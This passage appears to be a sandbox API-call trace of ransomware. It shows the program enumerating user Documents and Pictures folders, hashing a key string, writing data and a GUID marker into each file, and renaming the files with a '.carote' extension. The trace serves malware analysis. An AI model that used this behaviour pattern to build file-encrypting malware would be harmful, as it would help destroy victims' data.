dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.411] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x11) returned 0x7a13260 [0113.411] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.411] GetLastError () returned 0x0 [0113.411] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.411] CryptReleaseContext (hProv=0x50ecdf8, dwFlags=0x0) returned 1 [0113.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a43f90 | out: hHeap=0x5010000) returned 1 [0113.411] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x13df0) returned 0x7b182e0 [0113.411] SetFilePointer (in: hFile=0x61c, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.411] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05e80 | out: hHeap=0x5010000) returned 1 [0113.411] WriteFile (in: hFile=0x61c, lpBuffer=0x7b182e0*, nNumberOfBytesToWrite=0x13de7, lpNumberOfBytesWritten=0x825fb24, lpOverlapped=0x0 | out: lpBuffer=0x7b182e0*, lpNumberOfBytesWritten=0x825fb24*=0x13de7, lpOverlapped=0x0) returned 1 [0113.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b182e0 | out: hHeap=0x5010000) returned 1 [0113.412] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x13dec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x60) returned 0x797bf10 [0113.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x428) returned 0x7b14908 [0113.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", cchWideChar=-1, lpMultiByteStr=0x7b14908, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1", lpUsedDefaultChar=0x0) returned 41 [0113.412] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x430) returned 0x7b14d38 [0113.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x797bf10 | out: hHeap=0x5010000) returned 1 [0113.412] WriteFile (in: hFile=0x61c, lpBuffer=0x7b14d38*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x7b14d38*, lpNumberOfBytesWritten=0x825fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.412] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14d38 | out: hHeap=0x5010000) returned 1 [0113.412] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.412] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.412] CloseHandle (hObject=0x61c) returned 1 [0113.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109ae8 [0113.413] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8b0) returned 0x7b14908 [0113.413] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109ae8 | out: hHeap=0x5010000) returned 1 [0113.413] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\Zvgl_GVfIYN2KR.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\lfwovjrfdf\\zvgl_gvfiyn2kr.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\SmG7\\LFwoVJrFDf\\Zvgl_GVfIYN2KR.pdf.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\smg7\\lfwovjrfdf\\zvgl_gvfiyn2kr.pdf.carote")) returned 1 [0113.414] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0113.414] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0113.415] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440df290, ftCreationTime.dwHighDateTime=0x1d4cbde, ftLastAccessTime.dwLowDateTime=0xcb237860, ftLastAccessTime.dwHighDateTime=0x1d4c808, ftLastWriteTime.dwLowDateTime=0xcb237860, ftLastWriteTime.dwHighDateTime=0x1d4c808, nFileSizeHigh=0x0, nFileSizeLow=0x13dec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Zvgl_GVfIYN2KR.pdf", cAlternateFileName="ZVGL_G~1.PDF")) returned 0 [0113.415] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0113.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a05da0 | out: hHeap=0x5010000) returned 1 [0113.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x50ed018 | out: hHeap=0x5010000) returned 1 [0113.415] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0113.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f488 [0113.415] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0113.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.415] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.415] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.416] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.416] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.417] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.417] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a3f650 | out: hHeap=0x5010000) returned 1 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x90) returned 0x7a3f650 [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0113.418] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0113.418] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\") returned="BbK9PWtcKHe5E\\" [0113.418] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35bc8 [0113.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\") returned="rBkn83DAvewyB\\" [0113.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0113.419] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.419] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.419] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.419] PathFindFileNameW (pszPath="") returned="" [0113.419] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6981a90, ftCreationTime.dwHighDateTime=0x1d4ce89, ftLastAccessTime.dwLowDateTime=0x60b2a550, ftLastAccessTime.dwHighDateTime=0x1d4c718, ftLastWriteTime.dwLowDateTime=0x60b2a550, ftLastWriteTime.dwHighDateTime=0x1d4c718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0113.421] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb6981a90, ftCreationTime.dwHighDateTime=0x1d4ce89, ftLastAccessTime.dwLowDateTime=0x60b2a550, ftLastAccessTime.dwHighDateTime=0x1d4c718, ftLastWriteTime.dwLowDateTime=0x60b2a550, ftLastWriteTime.dwHighDateTime=0x1d4c718, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0113.421] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd169810, ftCreationTime.dwHighDateTime=0x1d4c77a, ftLastAccessTime.dwLowDateTime=0x42c04200, ftLastAccessTime.dwHighDateTime=0x1d4cc90, ftLastWriteTime.dwLowDateTime=0x42c04200, ftLastWriteTime.dwHighDateTime=0x1d4cc90, nFileSizeHigh=0x0, nFileSizeLow=0x4b74, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-cdd.png", cAlternateFileName="")) returned 1 [0113.421] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\-cdd.png") returned=".png" [0113.421] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\-cdd.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\-cdd.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.422] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=19316) returned 1 [0113.422] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.424] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4b4e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.424] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.427] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x4b74, lpOverlapped=0x0) returned 1 [0113.428] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.428] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.428] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.428] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.429] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.429] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.429] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.429] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0113.429] GetLastError () returned 0x0 [0113.429] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0113.429] CryptReleaseContext (hProv=0x50ed018, dwFlags=0x0) returned 1 [0113.429] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x4b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.429] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.429] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.430] CloseHandle (hObject=0x61c) returned 1 [0113.430] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\-cdd.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\-cdd.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\-cdd.png.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\-cdd.png.carote")) returned 1 [0113.431] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x746f7700, ftCreationTime.dwHighDateTime=0x1d4caf4, ftLastAccessTime.dwLowDateTime=0xd12afb0, ftLastAccessTime.dwHighDateTime=0x1d4c6ac, ftLastWriteTime.dwLowDateTime=0xd12afb0, ftLastWriteTime.dwHighDateTime=0x1d4c6ac, nFileSizeHigh=0x0, nFileSizeLow=0x9691, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="6eE0Shwl09PRJ2R3v.jpg", cAlternateFileName="6EE0SH~1.JPG")) returned 1 [0113.432] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\6eE0Shwl09PRJ2R3v.jpg") returned=".jpg" [0113.432] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\rBkn83DAvewyB\\BbK9PWtcKHe5E\\6eE0Shwl09PRJ2R3v.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\rbkn83davewyb\\bbk9pwtckhe5e\\6ee0shwl09prj2r3v.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0113.432] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=38545) returned 1 [0113.432] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0113.434] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x966b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.434] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.435] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x9691, lpOverlapped=0x0) returned 1 [0113.436] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.436] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.436] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0113.436] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ed018) returned 1 [0113.437] CryptCreateHash (in: hProv=0x50ed018, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0113.437] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.437] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0113.437] CryptGetHashParam (in: hHash=0x7a427e0, 